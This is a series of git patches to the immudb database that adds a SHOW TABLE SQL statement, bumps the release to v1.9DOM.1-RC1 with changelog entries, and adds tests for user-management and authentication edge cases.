58, 0, - 23, 24, 0, 26, 30, 0, 0, 0, 133, 0, - 0, 131, 45, 46, -2, 144, 0, 0, 0, 0, - 0, 106, 95, 97, 98, 0, 74, 0, 0, 27, - 31, 32, 33, 168, 151, 0, 152, 0, 70, 0, - 21, 0, 28, 0, 53, 0, 40, 0, 132, 0, - 133, 125, 119, -2, 0, 124, 101, 144, 0, 144, - 144, 144, 0, 72, 79, 0, 0, 19, 0, 0, - 0, 0, 59, 25, 42, 49, 56, 39, 134, 138, - 36, 0, 41, 127, 121, 0, 102, 0, 103, 104, - 105, 0, 77, 80, 0, 0, 0, 20, 153, 154, - 65, 38, 0, 0, 0, 0, 129, 0, 137, 144, - 0, 73, 78, 81, 75, 76, 50, 0, 51, 37, - 135, 0, 0, 0, 107, 17, 0, 131, 0, 130, - 128, 54, 0, 43, 133, 0, 0, 122, 87, 136, - 141, 55, 0, 139, 142, 143, 141, 140, + 91, 2, 5, 9, 34, 34, 34, 0, 0, 14, + 0, 112, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 110, 89, 84, 85, 0, 87, 0, 92, 3, + 0, 0, 0, 0, 34, 0, 15, 16, 115, 0, + 0, 18, 0, 0, 29, 0, 0, 0, 0, 127, + 0, 0, 90, 86, 0, 93, 94, 146, 97, 0, + 100, 13, 0, 0, 0, 0, 0, 111, 0, 0, + 113, 0, 119, -2, 150, 0, 0, 0, 157, 158, + 0, 60, 61, 62, 63, 64, 0, 66, 67, 68, + 69, 100, 114, 0, 0, 0, 0, 0, 0, 47, + 0, 139, 0, 127, 44, 0, 83, 0, 0, 95, + 147, 0, 0, 0, 35, 0, 0, 0, 0, 116, + 117, 118, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 162, 151, 152, 0, 0, 0, 56, 0, 22, + 0, 0, 0, 0, 0, 0, 48, 52, 0, 133, + 0, 128, 139, 0, 0, 139, 112, 0, 0, 0, + 0, 0, 146, 110, 146, 148, 0, 0, 101, 0, + 71, 0, 0, 0, 30, 163, 164, 165, 166, 167, + 168, 169, 0, 0, 0, 160, 0, 159, 0, 0, + 57, 58, 0, 23, 24, 0, 26, 30, 0, 0, + 0, 135, 0, 0, 133, 45, 46, -2, 146, 0, + 0, 0, 0, 0, 0, 108, 96, 98, 99, 0, + 74, 0, 0, 27, 31, 32, 33, 170, 153, 0, + 154, 0, 70, 0, 21, 0, 28, 0, 53, 0, + 40, 0, 134, 0, 135, 127, 121, -2, 0, 126, + 102, 146, 0, 146, 146, 0, 146, 0, 72, 79, + 0, 0, 19, 0, 0, 0, 0, 59, 25, 42, + 49, 56, 39, 136, 140, 36, 0, 41, 129, 123, + 0, 103, 0, 104, 105, 106, 107, 0, 77, 80, + 0, 0, 0, 20, 155, 156, 65, 38, 0, 0, + 0, 0, 131, 0, 139, 146, 0, 73, 78, 81, + 75, 76, 50, 0, 51, 37, 137, 0, 0, 0, + 109, 17, 0, 133, 0, 132, 130, 54, 0, 43, + 135, 0, 0, 124, 88, 138, 143, 55, 0, 141, + 144, 145, 143, 142, } var yyTok1 = [...]int8{ @@ -1272,13 +1277,20 @@ yydefault: } } case 86: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.stmt = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}}, + } + } + case 87: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, } } - case 87: + case 88: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1295,412 +1307,417 @@ yydefault: offset: yyDollar[13].exp, } } - case 88: + case 89: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 89: + case 90: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 90: + case 91: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 91: + case 92: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 92: + case 93: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 93: + case 94: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 94: + case 95: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 95: + case 96: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 96: + case 97: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 97: + case 98: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 98: + case 99: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 99: + case 100: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 100: + case 101: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 101: + case 102: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 102: + case 103: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 103: + case 104: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 104: + case 105: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 105: + case 106: + yyDollar = yyS[yypt-4 : yypt+1] + { + yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}} + } + case 107: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } - case 106: + case 108: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 107: + case 109: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 108: + case 110: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 109: + case 111: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 110: + case 112: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 111: + case 113: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 112: + case 114: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 113: + case 115: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 114: + case 116: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 115: + case 117: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 116: + case 118: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 117: + case 119: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 118: + case 120: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 119: + case 121: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 120: + case 122: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 121: + case 123: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 122: + case 124: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 123: + case 125: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 124: + case 126: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 125: + case 127: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 126: + case 128: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 127: + case 129: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 128: + case 130: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 129: + case 131: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 130: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 131: + case 133: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 132: + case 134: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 133: + case 135: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 134: + case 136: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 135: + case 137: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 136: + case 138: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 137: + case 139: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 138: + case 140: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 139: + case 141: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 140: + case 142: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 141: + case 143: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 142: + case 144: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 143: + case 145: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 144: + case 146: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 145: + case 147: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 146: + case 148: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 147: + case 149: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 148: + case 150: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 149: + case 151: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 150: + case 152: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 151: + case 153: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 152: + case 154: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 153: + case 155: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 154: + case 156: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 155: + case 157: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 156: + case 158: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 157: + case 159: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 158: + case 160: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 159: + case 161: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 160: + case 162: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 161: + case 163: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 162: + case 164: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 163: + case 165: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 164: + case 166: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 165: + case 167: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 166: + case 168: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 167: + case 169: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 168: + case 170: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 4fe81431fb..87516d369c 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -127,6 +127,7 @@ const ( UUIDFnCall string = "RANDOM_UUID" DatabasesFnCall string = "DATABASES" TablesFnCall string = "TABLES" + TableFnCall string = "TABLE" UsersFnCall string = "USERS" ColumnsFnCall string = "COLUMNS" IndexesFnCall string = "INDEXES" @@ -4060,6 +4061,10 @@ func (stmt *FnDataSourceStmt) Alias() string { { return "tables" } + case TableFnCall: + { + return "table" + } case UsersFnCall: { return "users" @@ -4092,6 +4097,10 @@ func (stmt *FnDataSourceStmt) Resolve(ctx context.Context, tx *SQLTx, params map { return stmt.resolveListTables(ctx, tx, params, scanSpecs) } + case TableFnCall: + { + return stmt.resolveShowTable(ctx, tx, params, scanSpecs) + } case UsersFnCall: { return stmt.resolveListUsers(ctx, tx, params, scanSpecs) @@ -4162,6 +4171,84 @@ func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } +func (stmt *FnDataSourceStmt) resolveShowTable(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { + cols := []ColDescriptor{ + { + Column: "column_name", + Type: VarcharType, + }, + { + Column: "type_name", + Type: VarcharType, + }, + { + Column: "is_nullable", + Type: BooleanType, + }, + { + Column: "is_indexed", + Type: VarcharType, + }, + { + Column: "is_auto_increment", + Type: BooleanType, + }, + { + Column: "is_unique", + Type: BooleanType, + }, + } + + tableName, _ := stmt.fnCall.params[0].reduce(tx, nil, "") + table, err := tx.catalog.GetTableByName(tableName.RawValue().(string)) + if err != nil { + return nil, err + } + + values := make([][]ValueExp, len(table.cols)) + + for i, c := range table.cols { + index := "NO" + + indexed, err := table.IsIndexed(c.Name()) + if err != nil { + return nil, err + } + if indexed { + index = "YES" + } + + if table.PrimaryIndex().IncludesCol(c.ID()) { + index = "PRIMARY KEY" + } + + var unique bool + for _, index := range table.GetIndexesByColID(c.ID()) { + if index.IsUnique() && len(index.Cols()) == 1 { + unique = true + break + } + } + + var maxLen string + + if c.MaxLen() > 0 && (c.Type() == VarcharType || c.Type() == BLOBType) { + maxLen = fmt.Sprintf("(%d)", c.MaxLen()) + } + + values[i] = []ValueExp{ + &Varchar{val: c.colName}, + &Varchar{val: c.Type() + maxLen}, + &Bool{val: c.IsNullable()}, + &Varchar{val: index}, + &Bool{val: c.IsAutoIncremental()}, + &Bool{val: unique}, + } + } + + return newValuesRowReader(tx, params, cols, stmt.Alias(), values) +} + func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { if len(stmt.fnCall.params) > 0 { return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, UsersFnCall, len(stmt.fnCall.params)) From 11088eb01bc3a210575a5985469739d7e7c6c077 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 14 Nov 2023 11:04:14 +0100 Subject: [PATCH 0929/1062] release: v1.9DOM.1-RC1 --- CHANGELOG.md | 55 +++++++++++++++++++++++++++++++++++++++++++++++++++- Makefile | 2 +- 2 files changed, 55 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9509372efb..3deea0fb48 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,8 +4,60 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9DOM.1-RC1] - 2023-11-13 +### Bug Fixes +- lower databasename in OpenSession +- **embedded/sql:** fix data-race when mapping keys +- **embedded/sql:** fix data-race when mapping keys +- **embedded/store:** handle key mapping in ongoing txs +- **embedded/store:** handle key mapping in ongoing txs +- **embedded/store:** handle key mapping in ongoing txs +- **pkg/database:** ensure proper tx validation +- **pkg/server:** user creation with multidbs + +### Changes +- docker image with swagger ui (for AWS Marketplace) +- **cmd/immudb:** upgrade to new pgsql changes +- **deps:** bump github.com/google/uuid from 1.3.1 to 1.4.0 +- **embedded/sql:** user pwd +- **embedded/sql:** show users stmt +- **embedded/sql:** wip emulate pg_type system table +- **embedded/sql:** continue to support databases and tables datasources +- **embedded/store:** indexer source and target prefixes +- **pkg/client:** possibility to retrieve session id +- **pkg/pgsql:** decouple error from ready to query messages +- **pkg/pgsql:** uuid and float types conversion +- **pkg/pgsql:** comment describing pgsql wire protocol constraints +- **pkg/pgsql:** support multiple-statements in simple-query mode +- **pkg/pgsql:** protocol enhancements +- **pkg/pgsql:** handle deallocate prepared stmt +- **pkg/pgsql:** tls support +- **pkg/pgsql:** single command complete message +- **pkg/pgsql:** transactional query machine +- **pkg/pgsql:** pgsql write protocol improvements +- **pkg/pgsql:** proper handling of queries with empty resultsets +- **pkg/pgsql:** show table/s +- **pkg/server:** upgrade to transactional pgsql server +- **pkg/server:** set dynamic immudb server port in pgsql server +- **pkg/server:** pgsql server creation only when enabled +- **pkg/server:** list users from multidb handler +- **pkg/server:** require proper permissions at multidb handler + +### Features +- **embedded/sql:** show table stmt +- **embedded/sql:** wip user mgmt +- **embedded/sql:** show users stmt +- **embedded/sql:** show databases/tables stmt +- **pkg/server:** add support of underscore in db name Signed-off-by: Martin Jirku + + ## [v1.9DOM.0] - 2023-10-19 +### Changes +- docker image with swagger ui +- docker image with swagger ui + ## [v1.9DOM] - 2023-10-19 @@ -3762,7 +3814,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9DOM.0...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1-RC1...HEAD +[v1.9DOM.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.0...v1.9DOM.1-RC1 [v1.9DOM.0]: https://github.com/vchain-us/immudb/compare/v1.9DOM...v1.9DOM.0 [v1.9DOM]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC2...v1.9DOM [v1.9.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC1...v1.9.0-RC2 diff --git a/Makefile b/Makefile index 8d97a8d44b..e636dcf5c1 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9DOM.0 +VERSION=1.9DOM.1-RC1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 From ff7ef438700d54cba21b0779f77298f9f7d84c99 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 15 Nov 2023 10:32:39 +0100 Subject: [PATCH 0930/1062] test(pkg/integration): cover user mgmt edge cases Signed-off-by: Jeronimo Irazabal --- pkg/integration/sql/sql_test.go | 3 ++ pkg/server/multidb_handler_test.go | 63 ++++++++++++++++++++++++++++++ 2 files changed, 66 insertions(+) create mode 100644 pkg/server/multidb_handler_test.go diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index 47c23c43de..cc865866a0 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -321,6 +321,9 @@ func TestImmuClient_SQL_UserStmts(t *testing.T) { err = user1Client.CloseSession(context.Background()) require.NoError(t, err) + _, err = client.SQLExec(context.Background(), "ALTER USER user1 WITH PASSWORD 'user1Password!!' READWRITE", nil) + require.NoError(t, err) + users, err = client.SQLQuery(context.Background(), "SHOW USERS", nil, true) require.NoError(t, err) require.Len(t, users.Rows, 4) diff --git a/pkg/server/multidb_handler_test.go b/pkg/server/multidb_handler_test.go new file mode 100644 index 0000000000..3d8cfcf84f --- /dev/null +++ b/pkg/server/multidb_handler_test.go @@ -0,0 +1,63 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package server + +import ( + "context" + "testing" + + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/auth" + "github.com/stretchr/testify/require" +) + +func TestServerMultidbHandler(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword) + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + + s.Initialize() + + r := &schema.LoginRequest{ + User: []byte(auth.SysAdminUsername), + Password: []byte(auth.SysAdminPassword), + } + _, err := s.Login(context.Background(), r) + require.NoError(t, err) + + multidbHandler := &multidbHandler{s: s} + + err = multidbHandler.UseDatabase(context.Background(), "defaultdb") + require.Error(t, err) + + _, err = multidbHandler.ListDatabases(context.Background()) + require.Error(t, err) + + _, err = multidbHandler.ListUsers(context.Background()) + require.Error(t, err) + + err = multidbHandler.CreateUser(context.Background(), "user1", "user1Password!", "READ") + require.Error(t, err) + + err = multidbHandler.AlterUser(context.Background(), "user1", "user1Password!", "READWRITE") + require.Error(t, err) +} From 0a8bb875e44f05871aad0a237cf17405570566f4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 15 Nov 2023 10:51:41 +0100 Subject: [PATCH 0931/1062] test(pkg/server): auth edge cases Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt_test.go | 26 +++++++++++++++++++++++++ pkg/server/documents_operations_test.go | 17 ++++++++++++++++ 2 files changed, 43 insertions(+) diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 7a7cfe09da..0c32acf9d8 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -697,6 +697,32 @@ func TestEdgeCases(t *testing.T) { require.ErrorIs(t, err, ErrMaxNumberOfColumnsInIndexExceeded) } +func TestInferParameterEdgeCases(t *testing.T) { + err := (&CreateUserStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) + + err = (&AlterUserStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) + + err = (&DropUserStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) + + err = (&RenameTableStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) + + err = (&DropTableStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) + + err = (&DropColumnStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) + + err = (&DropIndexStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) + + err = (&FnDataSourceStmt{}).inferParameters(context.Background(), nil, nil) + require.Nil(t, err) +} + func TestIsConstant(t *testing.T) { require.True(t, (&NullValue{}).isConstant()) require.True(t, (&Integer{}).isConstant()) diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 762a4c7b79..1d176be678 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -95,6 +95,19 @@ func TestV2Authentication(t *testing.T) { authServiceImp := &authenticationServiceImp{server: s} + _, err = authServiceImp.KeepAlive(context.Background(), &protomodel.KeepAliveRequest{}) + require.Error(t, err) + + _, err = authServiceImp.CloseSession(context.Background(), &protomodel.CloseSessionRequest{}) + require.Error(t, err) + + _, err = authServiceImp.OpenSession(ctx, &protomodel.OpenSessionRequest{ + Username: "immudb", + Password: "wrongPassword", + Database: "defaultdb", + }) + require.Error(t, err) + logged, err := authServiceImp.OpenSession(ctx, &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", @@ -108,6 +121,10 @@ func TestV2Authentication(t *testing.T) { md := metadata.Pairs("sessionid", logged.SessionID) ctx = metadata.NewIncomingContext(context.Background(), md) + + _, err = authServiceImp.KeepAlive(ctx, &protomodel.KeepAliveRequest{}) + require.NoError(t, err) + _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) From f28f6896256d30363a1270436da100507f4894bd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 15 Nov 2023 11:09:04 +0100 Subject: [PATCH 0932/1062] test(pkg/server): cover dummy database edge cases Signed-off-by: Jeronimo Irazabal --- pkg/server/db_dummy_closed_test.go | 4 ++++ pkg/server/server_test.go | 3 +++ 2 files changed, 7 insertions(+) diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index 016af83bf4..ca75094cdf 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -29,6 +29,10 @@ import ( func TestDummyClosedDatabase(t *testing.T) { cdb := &closedDB{name: "closeddb1", opts: database.DefaultOption()} + require.Equal(t, "data/closeddb1", cdb.Path()) + + cdb.AsReplica(false, false, 0) + require.Equal(t, cdb.name, cdb.GetName()) require.Equal(t, cdb.opts, cdb.GetOptions()) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 5acb15531b..36077557b2 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2032,6 +2032,9 @@ func TestServerDatabaseTruncate(t *testing.T) { _, err := s.KeepAlive(context.Background(), &emptypb.Empty{}) require.Error(t, err) + _, err = s.OpenSession(context.Background(), nil) + require.Error(t, err) + resp, err := s.OpenSession(context.Background(), &schema.OpenSessionRequest{ Username: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), From 440c0ebd7b69386ec056452da1845aa4f8e1785a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 15 Nov 2023 11:15:08 +0100 Subject: [PATCH 0933/1062] chore(pkg/server): change permission automatically revokes existing ones Signed-off-by: Jeronimo Irazabal --- pkg/server/multidb_handler.go | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index 9e8bb01936..b02e018b60 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -179,20 +179,6 @@ func (h *multidbHandler) AlterUser(ctx context.Context, username, password strin return err } - for _, perm := range user.Permissions { - if perm.Database == db.GetName() { - _, err := h.s.ChangePermission(ctx, &schema.ChangePermissionRequest{ - Username: username, - Database: perm.Database, - Action: schema.PermissionAction_REVOKE, - Permission: perm.Permission, - }) - if err != nil { - return err - } - } - } - _, err = h.s.ChangePermission(ctx, &schema.ChangePermissionRequest{ Username: username, Database: db.GetName(), From 10514312d4c1215d129145420eac26bce202fec9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 15 Nov 2023 11:24:18 +0100 Subject: [PATCH 0934/1062] test(pkg/server): use test server in multidb test cases Signed-off-by: 